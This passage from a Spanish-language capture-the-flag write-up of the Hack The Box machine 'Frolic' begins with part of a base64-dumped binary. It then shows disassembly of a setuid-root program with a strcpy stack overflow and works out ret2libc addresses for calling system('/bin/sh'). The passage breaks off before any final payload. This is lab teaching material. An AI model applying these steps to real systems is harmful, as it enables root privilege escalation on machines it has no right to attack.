</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwhAQIUIQECAAAAAABAAAAAQAAAAwAAAAMgwQI
</span></span><span style="display:flex;"><span>DQAAAKSFBAgZAAAACJ8ECBsAAAAEAAAAGgAAAAyfBAgcAAAABAAAAPX+/2+sgQQIBQAAAEyCBAgG
</span></span><span style="display:flex;"><span>AAAAzIEECAoAAABfAAAACwAAABAAAAAVAAAAAAAAAAMAAAAAoAQIAgAAACgAAAAUAAAAEQAAABcA
</span></span><span style="display:flex;"><span>AADkggQIEQAAANyCBAgSAAAACAAAABMAAAAIAAAA/v//b7yCBAj///9vAQAAAPD//2+sggQIAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABSfBAgAAAAA
</span></span><span style="display:flex;"><span>AAAAAEaDBAhWgwQIZoMECHaDBAiGgwQIAAAAAAAAAABHQ0M6IChVYnVudHUgNS40LjAtNnVidW50
</span></span><span style="display:flex;"><span>dTF+MTYuMDQuMTApIDUuNC4wIDIwMTYwNjA5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVIEECAAA
</span></span><span style="display:flex;"><span>AAADAAEAAAAAAGiBBAgAAAAAAwACAAAAAACIgQQIAAAAAAMAAwAAAAAArIEECAAAAAADAAQAAAAA
</span></span><span style="display:flex;"><span>AMyBBAgAAAAAAwAFAAAAAABMggQIAAAAAAMABgAAAAAArIIECAAAAAADAAcAAAAAALyCBAgAAAAA
</span></span><span style="display:flex;"><span>AwAIAAAAAADcggQIAAAAAAMACQAAAAAA5IIECAAAAAADAAoAAAAAAAyDBAgAAAAAAwALAAAAAAAw
</span></span><span style="display:flex;"><span>gwQIAAAAAAMADAAAAAAAkIMECAAAAAADAA0AAAAAAKCDBAgAAAAAAwAOAAAAAACkhQQIAAAAAAMA
</span></span><span style="display:flex;"><span>DwAAAAAAuIUECAAAAAADABAAAAAAAPCFBAgAAAAAAwARAAAAAAAkhgQIAAAAAAMAEgAAAAAACJ8E
</span></span><span style="display:flex;"><span>CAAAAAADABMAAAAAAAyfBAgAAAAAAwAUAAAAAAAQnwQIAAAAAAMAFQAAAAAAFJ8ECAAAAAADABYA
</span></span><span style="display:flex;"><span>AAAAAPyfBAgAAAAAAwAXAAAAAAAAoAQIAAAAAAMAGAAAAAAAIKAECAAAAAADABkAAAAAACigBAgA
</span></span><span style="display:flex;"><span>AAAAAwAaAAAAAAAAAAAAAAAAAAMAGwABAAAAAAAAAAAAAAAEAPH/DAAAABCfBAgAAAAAAQAVABkA
</span></span><span style="display:flex;"><span>AADggwQIAAAAAAIADgAbAAAAEIQECAAAAAACAA4ALgAAAFCEBAgAAAAAAgAOAEQAAAAooAQIAQAA
</span></span><span style="display:flex;"><span>AAEAGgBTAAAADJ8ECAAAAAABABQAegAAAHCEBAgAAAAAAgAOAIYAAAAInwQIAAAAAAEAEwClAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAEAPH/AQAAAAAAAAAAAAAABADx/6sAAAAUhwQIAAAAAAEAEgC5AAAAEJ8ECAAAAAAB
</span></span><span style="display:flex;"><span>ABUAAAAAAAAAAAAAAAAABADx/8UAAAAMnwQIAAAAAAAAEwDWAAAAFJ8ECAAAAAABABYA3wAAAAif
</span></span><span style="display:flex;"><span>BAgAAAAAAAATAPIAAADwhQQIAAAAAAAAEQAFAQAAAKAECAAAAAABABgAGwEAAKCFBAgCAAAAEgAO
</span></span><span style="display:flex;"><span>ACsBAAAAAAAAAAAAACAAAABHAQAA0IMECAQAAAASAg4AjwEAACCgBAgAAAAAIAAZAF0BAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAABIAAABvAQAA+IQECDoAAAASAA4AdAEAACigBAgAAAAAEAAZACUBAACkhQQIAAAAABIADwB7
</span></span><span style="display:flex;"><span>AQAAAAAAAAAAAAASAAAAjQEAACCgBAgAAAAAEAAZAJoBAAAAAAAAAAAAABIAAACqAQAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAgAAAAuQEAACSgBAgAAAAAEQIZAMYBAAC8hQQIBAAAABEAEADVAQAAAAAAAAAAAAASAAAA8gEA
</span></span><span style="display:flex;"><span>AECFBAhdAAAAEgAOANEAAAAsoAQIAAAAABAAGgCTAQAAoIMECAAAAAASAA4AAgIAALiFBAgEAAAA
</span></span><span style="display:flex;"><span>EQAQAAkCAAAooAQIAAAAABAAGgAVAgAAm4QECF0AAAASAA4AGgIAAAAAAAAAAAAAEgAAACwCAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAACAAAABAAgAAKKAECAAAAAARAhkATAIAAAAAAAAAAAAAIAAAAPwBAAAMgwQIAAAAABIA
</span></span><span style="display:flex;"><span>CwAAY3J0c3R1ZmYuYwBfX0pDUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9i
</span></span><span style="display:flex;"><span>YWxfZHRvcnNfYXV4AGNvbXBsZXRlZC43MjA5AF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2Fy
</span></span><span style="display:flex;"><span>cmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQByb3Au
</span></span><span style="display:flex;"><span>YwBfX0ZSQU1FX0VORF9fAF9fSkNSX0VORF9fAF9faW5pdF9hcnJheV9lbmQAX0RZTkFNSUMAX19p
</span></span><span style="display:flex;"><span>bml0X2FycmF5X3N0YXJ0AF9fR05VX0VIX0ZSQU1FX0hEUgBfR0xPQkFMX09GRlNFVF9UQUJMRV8A
</span></span><span style="display:flex;"><span>X19saWJjX2NzdV9maW5pAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfX3g4Ni5nZXRfcGNf
</span></span><span style="display:flex;"><span>dGh1bmsuYngAcHJpbnRmQEBHTElCQ18yLjAAdnVsbgBfZWRhdGEAc3RyY3B5QEBHTElCQ18yLjAA
</span></span><span style="display:flex;"><span>X19kYXRhX3N0YXJ0AHB1dHNAQEdMSUJDXzIuMABfX2dtb25fc3RhcnRfXwBfX2Rzb19oYW5kbGUA
</span></span><span style="display:flex;"><span>X0lPX3N0ZGluX3VzZWQAX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2xpYmNfY3N1X2lu
</span></span><span style="display:flex;"><span>aXQAX2ZwX2h3AF9fYnNzX3N0YXJ0AG1haW4Ac2V0dWlkQEBHTElCQ18yLjAAX0p2X1JlZ2lzdGVy
</span></span><span style="display:flex;"><span>Q2xhc3NlcwBfX1RNQ19FTkRfXwBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAAAuc3ltdGFiAC5z
</span></span><span style="display:flex;"><span>dHJ0YWIALnNoc3RydGFiAC5pbnRlcnAALm5vdGUuQUJJLXRhZwAubm90ZS5nbnUuYnVpbGQtaWQA
</span></span><span style="display:flex;"><span>LmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJl
</span></span><span style="display:flex;"><span>bC5keW4ALnJlbC5wbHQALmluaXQALnBsdC5nb3QALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJh
</span></span><span style="display:flex;"><span>bWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuamNyAC5keW5hbWljAC5n
</span></span><span style="display:flex;"><span>b3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAABsAAAABAAAAAgAAAFSBBAhUAQAAEwAAAAAAAAAAAAAAAQAAAAAAAAAjAAAABwAA
</span></span><span style="display:flex;"><span>AAIAAABogQQIaAEAACAAAAAAAAAAAAAAAAQAAAAAAAAAMQAAAAcAAAACAAAAiIEECIgBAAAkAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAEAAAAAAAAAEQAAAD2//9vAgAAAKyBBAisAQAAIAAAAAUAAAAAAAAABAAAAAQAAABO
</span></span><span style="display:flex;"><span>AAAACwAAAAIAAADMgQQIzAEAAIAAAAAGAAAAAQAAAAQAAAAQAAAAVgAAAAMAAAACAAAATIIECEwC
</span></span><span style="display:flex;"><span>AABfAAAAAAAAAAAAAAABAAAAAAAAAF4AAAD///9vAgAAAKyCBAisAgAAEAAAAAUAAAAAAAAAAgAA
</span></span><span style="display:flex;"><span>AAIAAABrAAAA/v//bwIAAAC8ggQIvAIAACAAAAAGAAAAAQAAAAQAAAAAAAAAegAAAAkAAAACAAAA
</span></span><span style="display:flex;"><span>3IIECNwCAAAIAAAABQAAAAAAAAAEAAAACAAAAIMAAAAJAAAAQgAAAOSCBAjkAgAAKAAAAAUAAAAY
</span></span><span style="display:flex;"><span>AAAABAAAAAgAAACMAAAAAQAAAAYAAAAMgwQIDAMAACMAAAAAAAAAAAAAAAQAAAAAAAAAhwAAAAEA
</span></span><span style="display:flex;"><span>AAAGAAAAMIMECDADAABgAAAAAAAAAAAAAAAQAAAABAAAAJIAAAABAAAABgAAAJCDBAiQAwAACAAA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAACAAAAAAAAACbAAAAAQAAAAYAAACggwQIoAMAAAICAAAAAAAAAAAAABAAAAAAAAAA
</span></span><span style="display:flex;"><span>oQAAAAEAAAAGAAAApIUECKQFAAAUAAAAAAAAAAAAAAAEAAAAAAAAAKcAAAABAAAAAgAAALiFBAi4
</span></span><span style="display:flex;"><span>BQAAOAAAAAAAAAAAAAAABAAAAAAAAACvAAAAAQAAAAIAAADwhQQI8AUAADQAAAAAAAAAAAAAAAQA
</span></span><span style="display:flex;"><span>AAAAAAAAvQAAAAEAAAACAAAAJIYECCQGAAD0AAAAAAAAAAAAAAAEAAAAAAAAAMcAAAAOAAAAAwAA
</span></span><span style="display:flex;"><span>AAifBAgIDwAABAAAAAAAAAAAAAAABAAAAAAAAADTAAAADwAAAAMAAAAMnwQIDA8AAAQAAAAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAQAAAAAAAAA3wAAAAEAAAADAAAAEJ8ECBAPAAAEAAAAAAAAAAAAAAAEAAAAAAAAAOQAAAAG
</span></span><span style="display:flex;"><span>AAAAAwAAABSfBAgUDwAA6AAAAAYAAAAAAAAABAAAAAgAAACWAAAAAQAAAAMAAAD8nwQI/A8AAAQA
</span></span><span style="display:flex;"><span>AAAAAAAAAAAAAAQAAAAEAAAA7QAAAAEAAAADAAAAAKAECAAQAAAgAAAAAAAAAAAAAAAEAAAABAAA
</span></span><span style="display:flex;"><span>APYAAAABAAAAAwAAACCgBAggEAAACAAAAAAAAAAAAAAABAAAAAAAAAD8AAAACAAAAAMAAAAooAQI
</span></span><span style="display:flex;"><span>KBAAAAQAAAAAAAAAAAAAAAEAAAAAAAAAAQEAAAEAAAAwAAAAAAAAACgQAAA1AAAAAAAAAAAAAAAB
</span></span><span style="display:flex;"><span>AAAAAQAAABEAAAADAAAAAAAAAAAAAABWFwAACgEAAAAAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAAAYBAAAJAEAAAeAAAALwAAAAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAPAUAABmAgAAAAAA
</span></span><span style="display:flex;"><span>AAAAAAABAAAAAAAAAA==
</span></span></code></pre></div><p>Perfecto, ahora veamos que mas hay por aquí:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ file rop
</span></span><span style="display:flex;"><span>rop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped
</span></span></code></pre></div><p>Vemos que se trata de un binario enlazado dinámicamente, por lo que tenemos que también considerar a que se enlaza:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ ldd /home/ayush/.binary/rop
</span></span><span style="display:flex;"><span>        linux-gate.so.1 &gt;  (0xb7fda000)
</span></span><span style="display:flex;"><span>        libc.so.6 &gt; /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
</span></span><span style="display:flex;"><span>        /lib/ld-linux.so.2 (0xb7fdb000)
</span></span></code></pre></div><p>Nada anormal aquí. Continuemos con radare2:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ r2 rop
</span></span><span style="display:flex;"><span>[0x080483a0]&gt; aaaa
</span></span><span style="display:flex;"><span>[x] Analyze all flags starting with sym. and entry0 (aa)
</span></span><span style="display:flex;"><span>[x] Analyze function calls (aac)
</span></span><span style="display:flex;"><span>[x] Analyze len bytes of instructions for references (aar)
</span></span><span style="display:flex;"><span>[x] Enable constraint types analysis for variables
</span></span><span style="display:flex;"><span>[0x080483a0]&gt; afl
</span></span><span style="display:flex;"><span>0x0804830c    3 35           sym._init
</span></span><span style="display:flex;"><span>0x08048340    1 6            sym.imp.printf
</span></span><span style="display:flex;"><span>0x08048350    1 6            sym.imp.strcpy
</span></span><span style="display:flex;"><span>0x08048360    1 6            sym.imp.puts
</span></span><span style="display:flex;"><span>0x08048370    1 6            sym.imp.__libc_start_main
</span></span><span style="display:flex;"><span>0x08048380    1 6            sym.imp.setuid
</span></span><span style="display:flex;"><span>0x08048390    1 6            fcn.08048390
</span></span><span style="display:flex;"><span>0x080483a0    1 33           entry0
</span></span><span style="display:flex;"><span>0x080483d0    1 4            sym.__x86.get_pc_thunk.bx
</span></span><span style="display:flex;"><span>0x080483e0    4 43           sym.deregister_tm_clones
</span></span><span style="display:flex;"><span>0x08048410    4 53           sym.register_tm_clones
</span></span><span style="display:flex;"><span>0x08048450    3 30           sym.__do_global_dtors_aux
</span></span><span style="display:flex;"><span>0x08048470    4 43   -&gt; 40   entry.init0
</span></span><span style="display:flex;"><span>0x0804849b    4 93           main
</span></span><span style="display:flex;"><span>0x080484f8    1 58           sym.vuln
</span></span><span style="display:flex;"><span>0x08048540    4 93           sym.__libc_csu_init
</span></span><span style="display:flex;"><span>0x080485a0    1 2            sym.__libc_csu_fini
</span></span><span style="display:flex;"><span>0x080485a4    1 20           sym._fini
</span></span><span style="display:flex;"><span>[0x0804849b]&gt; pdf @main
</span></span><span style="display:flex;"><span>┌ (fcn) main 93
</span></span><span style="display:flex;"><span>│   int main (int argc, char **argv, char **envp);
</span></span><span style="display:flex;"><span>│           ; var int var_8h @ ebp-0x8
</span></span><span style="display:flex;"><span>│           ; arg int arg_4h @ esp+0x4
</span></span><span style="display:flex;"><span>│           ; DATA XREF from entry0 (0x80483b7)
</span></span><span style="display:flex;"><span>│           0x0804849b      8d4c2404       lea ecx, [arg_4h]           ; 4
</span></span><span style="display:flex;"><span>│           0x0804849f      83e4f0         and esp, 0xfffffff0
</span></span><span style="display:flex;"><span>│           0x080484a2      ff71fc         push dword [ecx - 4]
</span></span><span style="display:flex;"><span>│           0x080484a5      55             push ebp
</span></span><span style="display:flex;"><span>│           0x080484a6      89e5           mov ebp, esp
</span></span><span style="display:flex;"><span>│           0x080484a8      53             push ebx
</span></span><span style="display:flex;"><span>│           0x080484a9      51             push ecx
</span></span><span style="display:flex;"><span>│           0x080484aa      89cb           mov ebx, ecx
</span></span><span style="display:flex;"><span>│           0x080484ac      83ec0c         sub esp, 0xc
</span></span><span style="display:flex;"><span>│           0x080484af      6a00           push 0
</span></span><span style="display:flex;"><span>│           0x080484b1      e8cafeffff     call sym.imp.setuid
</span></span><span style="display:flex;"><span>│           0x080484b6      83c410         add esp, 0x10
</span></span><span style="display:flex;"><span>│           0x080484b9      833b01         cmp dword [ebx], 1
</span></span><span style="display:flex;"><span>│       ┌─&lt; 0x080484bc      7f17           jg 0x80484d5
</span></span><span style="display:flex;"><span>│       │   0x080484be      83ec0c         sub esp, 0xc
</span></span><span style="display:flex;"><span>│       │   0x080484c1      68c0850408     push str.Usage:_program__message ; 0x80485c0 ; &#34;[*] Usage: program &lt;message&gt;&#34;
</span></span><span style="display:flex;"><span>│       │   0x080484c6      e895feffff     call sym.imp.puts           ; int puts(const char *s)
</span></span><span style="display:flex;"><span>│       │   0x080484cb      83c410         add esp, 0x10
</span></span><span style="display:flex;"><span>│       │   0x080484ce      b8ffffffff     mov eax, 0xffffffff         ; -1
</span></span><span style="display:flex;"><span>│      ┌──&lt; 0x080484d3      eb19           jmp 0x80484ee
</span></span><span style="display:flex;"><span>│      ││   ; CODE XREF from main (0x80484bc)
</span></span><span style="display:flex;"><span>│      │└─&gt; 0x080484d5      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4
</span></span><span style="display:flex;"><span>│      │    0x080484d8      83c004         add eax, 4
</span></span><span style="display:flex;"><span>│      │    0x080484db      8b00           mov eax, dword [eax]
</span></span><span style="display:flex;"><span>│      │    0x080484dd      83ec0c         sub esp, 0xc
</span></span><span style="display:flex;"><span>│      │    0x080484e0      50             push eax
</span></span><span style="display:flex;"><span>│      │    0x080484e1      e812000000     call sym.vuln
</span></span><span style="display:flex;"><span>│      │    0x080484e6      83c410         add esp, 0x10
</span></span><span style="display:flex;"><span>│      │    0x080484e9      b800000000     mov eax, 0
</span></span><span style="display:flex;"><span>│      │    ; CODE XREF from main (0x80484d3)
</span></span><span style="display:flex;"><span>│      └──&gt; 0x080484ee      8d65f8         lea esp, [var_8h]
</span></span><span style="display:flex;"><span>│           0x080484f1      59             pop ecx
</span></span><span style="display:flex;"><span>│           0x080484f2      5b             pop ebx
</span></span><span style="display:flex;"><span>│           0x080484f3      5d             pop ebp
</span></span><span style="display:flex;"><span>│           0x080484f4      8d61fc         lea esp, [ecx - 4]
</span></span><span style="display:flex;"><span>└           0x080484f7      c3             ret
</span></span><span style="display:flex;"><span>[0x080484f8]&gt; pdf @sym.vuln
</span></span><span style="display:flex;"><span>┌ (fcn) sym.vuln 58
</span></span><span style="display:flex;"><span>│   sym.vuln (int arg_8h);
</span></span><span style="display:flex;"><span>│           ; var int var_30h @ ebp-0x30
</span></span><span style="display:flex;"><span>│           ; arg int arg_8h @ ebp+0x8
</span></span><span style="display:flex;"><span>│           ; CALL XREF from main (0x80484e1)
</span></span><span style="display:flex;"><span>│           0x080484f8      55             push ebp
</span></span><span style="display:flex;"><span>│           0x080484f9      89e5           mov ebp, esp
</span></span><span style="display:flex;"><span>│           0x080484fb      83ec38         sub esp, 0x38               ; &#39;8&#39;
</span></span><span style="display:flex;"><span>│           0x080484fe      83ec08         sub esp, 8
</span></span><span style="display:flex;"><span>│           0x08048501      ff7508         push dword [arg_8h]
</span></span><span style="display:flex;"><span>│           0x08048504      8d45d0         lea eax, [var_30h]
</span></span><span style="display:flex;"><span>│           0x08048507      50             push eax
</span></span><span style="display:flex;"><span>│           0x08048508      e843feffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
</span></span><span style="display:flex;"><span>│           0x0804850d      83c410         add esp, 0x10
</span></span><span style="display:flex;"><span>│           0x08048510      83ec0c         sub esp, 0xc
</span></span><span style="display:flex;"><span>│           0x08048513      68dd850408     push str.Message_sent:      ; 0x80485dd ; &#34;[+] Message sent: &#34;
</span></span><span style="display:flex;"><span>│           0x08048518      e823feffff     call sym.imp.printf         ; int printf(const char *format)
</span></span><span style="display:flex;"><span>│           0x0804851d      83c410         add esp, 0x10
</span></span><span style="display:flex;"><span>│           0x08048520      83ec0c         sub esp, 0xc
</span></span><span style="display:flex;"><span>│           0x08048523      8d45d0         lea eax, [var_30h]
</span></span><span style="display:flex;"><span>│           0x08048526      50             push eax
</span></span><span style="display:flex;"><span>│           0x08048527      e814feffff     call sym.imp.printf         ; int printf(const char *format)
</span></span><span style="display:flex;"><span>│           0x0804852c      83c410         add esp, 0x10
</span></span><span style="display:flex;"><span>│           0x0804852f      90             nop
</span></span><span style="display:flex;"><span>│           0x08048530      c9             leave
</span></span><span style="display:flex;"><span>└           0x08048531      c3             ret
</span></span><span style="display:flex;"><span>[0x080484f8]&gt; q
</span></span></code></pre></div><p>Aquí tenemos varias cosas, lo único que hice fue pasar el análisis experimental del binario, listar las funciones, y imprimir la función vuln y main.</p>
<p>La función <code>sym.imp.setuid</code> vemos que es lanzada con el parámetro 0, esto significa que a quien lo ejecute se le dará el poder del todopoderoso usuario root. Se evalúa si se recibió más de un argumento, de no ser así se imprime el mensaje de uso del binario. El programa continua pasando el argumento[1] de main a la función vuln.</p>
<p>En vuln, declaramos el stack frame de 0x38 o 56 en decimal, volvemos a restarle 8 bytes mas, con un total de 64. Subimos el argumento que recibimos de main a ESP, guardamos la dirección de EBP-0x30 en EAX, subiendo finalmente este al ESP+0x4. Llamamos a string copy, el cual recibió la dirección de destino (EBP-0x30) y el origen argumento de main, el cual salva en EBP-0x30 el valor del string que pasemos como argumento en main.</p>
<p>La función vulnerable básicamente lo que hace después es imprimir primero &ldquo;[+] Message sent: &quot; + el contenido de el argumento de main. Lo peligroso de esta función, es que strcpy copio tal cual lo que recibe del origen hasta encontrar un <code>\x00</code>. No valida que el destino soporte el tamaño completo del origen. Solo le interesa copiar y pegar hasta encontrar un NULL. Esto nos permite como atacantes poder abusar y hacer un buffer overflow al salirnos de EBP-0x30.</p>
<p><img src="https://www.coengoedegebure.com/content/images/2018/08/stackbuffer.png" alt="stack"></p>
<p><img src="https://www.coengoedegebure.com/content/images/2018/08/memoryoverflow-1.png" alt="buffer overflow write"></p>
<p><img src="https://www.coengoedegebure.com/content/images/2018/08/stack_bufferoverflowabc.png" alt="buffer overflow"></p>
<p>Por lo que si subo 0x30 + 4 bytes que es donde debería estar la EBP (dirección del puntero base), estaríamos llegando al EIP (dirección de retorno):</p>
<p>Si esto fuera un simple buffer overflow, aquí estaría subiendo un shellcode para ejecutarlo después, pero este no es nuestro escenario:</p>
<p>Analicemos con checksec:</p>
<table>
  <thead>
      <tr>
          <th>RELRO</th>
          <th>STACK CANARY</th>
          <th>NX</th>
          <th>PIE</th>
          <th>RPATH</th>
          <th>RUNPATH</th>
          <th>Symbols</th>
          <th>FORTIFY</th>
          <th>Fortified</th>
          <th>Fortifiable</th>
          <th>FILE</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Partial RELRO</td>
          <td>No canary found</td>
          <td>NX enabled</td>
          <td>No PIE</td>
          <td>No RPATH</td>
          <td>No RUNPATH</td>
          <td>73 Symbols</td>
          <td>No</td>
          <td>0</td>
          <td>4</td>
          <td>rop</td>
      </tr>
  </tbody>
</table>
<p>Tenemos habilitado NX que no nos permite ejecutar cosas en el stack, no tenemos canarios que estén entrando y saliendo al stack, ni PIE ni ASLR:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ cat /proc/sys/kernel/randomize_va_space
</span></span><span style="display:flex;"><span>0
</span></span></code></pre></div><p>Esto es bueno, porque no tenemos la dirección de las bibliotecas dinamicamente importadas cambiando todo el tiempo.</p>
<p>Esto significa que siempre podemos tener la misma dirección base para <em>libc</em>, la cual es 0xb7e19000 (ldd mas arriba).</p>
<p>Ahora, la estrategia que estaremos usando para explotar el binario es un ret2libc, el cual consiste en llamar desde el EIP a funciones de LIBC concatenando sus argumentos como si fuera unas llamadas normales y comunes.</p>
<p>Lo que estaremos realizando es un <code>system(&quot;/bin/sh&quot;);</code> por lo que necesitamos un par de cosas para poder armar el exploit.</p>
<ul>
<li>Conocer cual es la dirección base de <em>libc</em></li>
<li>Conocer donde esta <em>system</em> dentro de <em>libc</em> para poder llamarla</li>
<li>Encontrar donde esta el string &ldquo;/bin/sh&rdquo; durante la ejecución del binario</li>
<li>Conocer donde esta <em>exit</em> dentro de <em>libc</em> para darle un retorno después que cierre la shell.</li>
</ul>
<p>El ultimo requerimiento es básicamente para que cuando llame a <em>system</em>, pueda funcionar como si fuera una llamada legal, indicándole a donde retornar al finalizar, que en este caso seria mandarlo a <em>exit</em>. La forma de verlo es como una construcción de stack virtual dentro del stack, ya que al llamar una función, esta debe saber vía el stack donde regresar ya que el stack y los registros es lo único compartido.</p>
<p>Ya habíamos encontrado la dirección base de <em>libc</em> vía <code>ldd</code>, la cual no cambia porque la protección global no esta habilitada (address space layout randomization), ahora solo falta resolver como llegar a <em>system</em> y <em>exit</em>. Eso lo podemos hacer ejecutando <code>readelf</code> sobre <code>libc.so.6</code> dentro o fuera de frolic. En mi caso lo hice fuera:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ readelf -s libc.so.6 | grep -E &#34; (system|exit)@@&#34;
</span></span><span style="display:flex;"><span>   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
</span></span><span style="display:flex;"><span>  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
</span></span></code></pre></div><p>Básicamente liste todos los símbolos dentro de la biblioteca, los cuales son los entry points para las funciones. Concatene esa salida a grep y por un regex filtre system y exit, obteniendo donde se encuentran dentro de <em>libc</em>. Ahora sumamos esta dirección (offset) + la base de donde se encuentra dentro de la memoria <em>libc</em>, y tenemos la ubicación de la función durante la ejecución:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ rax2 -k 0x0002e9d0+0xb7e19000
</span></span><span style="display:flex;"><span>0xb7e479d0
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/frolic$ rax2 -k 0xb7e19000+0x0003ada0
